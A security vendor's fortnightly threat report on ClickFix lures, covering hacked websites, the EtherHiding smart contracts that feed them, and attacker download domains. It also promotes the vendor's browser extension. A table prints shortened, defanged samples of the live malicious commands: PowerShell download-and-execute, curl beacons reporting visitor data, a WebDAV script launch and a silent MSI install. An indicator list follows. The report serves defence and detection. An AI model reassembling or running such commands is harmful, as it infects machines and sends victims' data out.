ClickFix report: 38 hacked sites, 8 smart contracts behind them.
Every two weeks we publish what ByteMantle's research browsers met on live ClickFix pages: which sites were hacked, what they run, which smart contracts feed them, where the commands download from and how it connects.
In short
- 38 websites showed a ClickFix lure; 28 of them put a command on the visitor's clipboard.
- 25 sites read their lure from one of 8 smart contracts (EtherHiding); one contract alone fed 10 sites.
- Of the 25 sites whose software we could identify, 7 report a version with flaws exploited in the wild and 4 run software that no longer gets security updates.
- 15 of the 28 sites served a command that downloads from a service everybody trusts.
A newer report is out: ClickFix report, 5–11 November 2026.
Want your browsers to stop this at the paste? The ByteMantle extension reads every command a page puts on the clipboard and replaces a dangerous one before you can paste it. Get the extension — free.
The numbers
The hacked sites and what they run
The lures are on real websites of real organisations, with a script added that draws a fake "Verify you are human" box over the real page. Our browsers record the software each site reports about itself.
| Software (reported version) | Sites | Known flaws | Actively exploited (CISA KEV) | Worst CVSS | Security updates |
|---|---|---|---|---|---|
wordpress 6.9.1 | 2 | 4 | 4 | 9.8 | supported |
php 7.4.33 | 2 | 5 | 2 | 9.8 | ended 2022-11-28 |
php 8.2.28 | 1 | 20 | 2 | 9.5 | ends 2026-12-31 |
php 8.0.30 | 1 | 4 | 2 | 9.8 | ended 2023-11-26 |
nginx 1.15.6 | 1 | 10 | 1 | 7.7 | ended 2019-05-21 |
wordpress 6.9.10 | 1 | 1 | 1 | 8.1 | supported |
jquery 3.2.1 | 1 | 3 | 1 | — | supported |
This does not say how each site was broken into: stolen passwords and vulnerable plugins are just as common. It says that the sites hosting these lures were often not well looked after.
The smart contracts behind the lures
On 25 sites the added script asks a smart contract on a public blockchain where the lure is, every time the page loads (EtherHiding). The attackers change one value and every hacked site shows the new lure; nobody can take a contract down.
| Contract | Blockchain | Sites | Seen |
|---|---|---|---|
0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 | Polygon | 10 | 2026-11-02 – 2026-11-05 |
0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2 | Polygon | 6 | 2026-11-02 – 2026-11-05 |
0xb29927b7d854b232d5e58cfc201866376e68c676 | Polygon | 4 | 2026-11-05 – 2026-11-05 |
0xdf132e2893824e26ec8ae8014b4f4facd54ed67f | BNB Smart Chain | 3 | 2026-11-02 – 2026-11-05 |
0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ff | BNB Smart Chain | 3 | 2026-11-02 – 2026-11-05 |
0xf4a32588b50a59a82fba148d436081a48d80832a | BNB Smart Chain | 1 | 2026-11-05 – 2026-11-05 |
0xa1decfb75c8c0ca28c10517ce56b710baf727d2e | BNB Smart Chain | 1 | 2026-11-05 – 2026-11-05 |
0xb909956b9d716ddfdf6935115a8d6f6cb2e655c6 | Polygon | 1 | 2026-11-02 – 2026-11-02 |
4 site(s) read more than one contract, so the column adds up to 29 for 25 sites.
How it connects
The same contract means the same operation. Following each contract to the sites that read it, and from there to what their commands download, shows separate campaigns with their own habits — the way the investigation graph in the ByteMantle console shows it for your own browsers.
- The biggest operation (Polygon contract
0xf707…e9d9, 10 sites): Google Apps Script; reports the visitor, then downloads.
Where the commands download from
For security teams: blocking these services is not an option, and the attackers' own addresses change weekly. What does not change is the shape of the command: a shell, a download, an execution, put on the clipboard by a web page.
The commands, by form
| Form | Sites | Example (shortened, defanged) |
|---|---|---|
| PowerShell: download and run | 12 | IRM fastly.jsdelivr[.]net/g"h"/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/ea25409061fa | IEX |
| Reports the visitor, then downloads | 9 | cmd[.]exe /c "curl[.]exe -sL -d ""id=…"" -d ""location=Europe%2FBucharest%20%7C%20en"" -d ""siteUrl=https%3A%2F%2F[hacked site]%2F"" -d ""os=win11"" -d ""lastVisitAt=2 … |
| Obfuscated PowerShell | 4 | (irm 'https://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126. … |
| Program to Temp, started | 1 | cmd /c start /max www[.]theforestrecovery.[hacked site]/verification[.]php && curl -k -o %temp%\install[.]exe https://security-malware[.]com/index[.]html && start %tem … |
| ZIP unpacked, program started | 1 | $url = "https://frclau[.]com/eoN"; $filename = "Boost Note[.]exe"; $path = $env:TEMP; $archive = Join-Path $path "zN3HyHJT[.]zip"; $filepath = Join-Path $path $filenam … |
| Network drive over WebDAV | 1 | cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update[.]cmd" & net use Z: /delete |
| Installer to Temp, installed silently | 1 | cmd /c curl -gkso %TEMP%\wud[.]msi https://update.neewsoo[.]com/dl/kb1000013[.]msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud[.]msi /qn |
The attackers' domains
The download servers and lure servers that belong to the attackers themselves: 12 this time. Half of those with a known registration date are younger than 8 days. The registration date of 10 of them is not known to the console yet.
New this time
- A silent installer from the Temp folder. The command downloads a Windows installer (
.msi) into Temp and installs it with no window (/qn). The page that served it also carried notes, in Russian, on which command forms antivirus products detect. - A fake "Claude early access" page on a domain registered days before: AI tools are the new bait.
- The visitor is measured. The most common command first reports an id, the time zone, the Windows version and the hacked site to Google Apps Script, then downloads the next step.
How to protect your people and your site
- Tell your people the one rule: no real website ever asks you to press Windows + R, open Terminal or paste something to prove you are human.
- Stop it at the paste. ByteMantle reads what a page puts on the clipboard, recognises the command by its shape (not by its domain) and replaces it with a harmless message.
- Run a website? Keep the CMS, its plugins and PHP up to date. Open your own site with the ByteMantle extension: a lure or a contract read on your own pages means it was hacked. Our SC research explains how to check and clean.
Indicators
For your SIEM or threat-intelligence platform:
| Indicator | Role | Domain age |
|---|---|---|
ncheck-brows[.]beer | download, lure server | 7 days |
frclau[.]com | download | 9 days |
security-malware[.]com | download | |
codes.browse-cdn[.]beer | download, lure server | |
lepafonso[.]bz | download | |
govrobczxc[.]cc | download | |
alababababa[.]cloud | download | |
185.246.223[.]71 | download | |
unlockorgdocv[.]com | download | |
threejrev[.]com | download | |
update.neewsoo[.]com | download | |
verifyidentrob01[.]cc | download |
The smart contracts are listed in full above. Hacked websites are not listed.
How we collect this
We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. Every number comes from the ByteMantle console's threat report for those browsers: what the extension recorded on the pages, and what the console knows about the software and known flaws of the sites (NVD, OSV, CISA KEV, endoflife.date). A site counts once, however many times we opened it.
Stop these attacks before anything runs.
Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.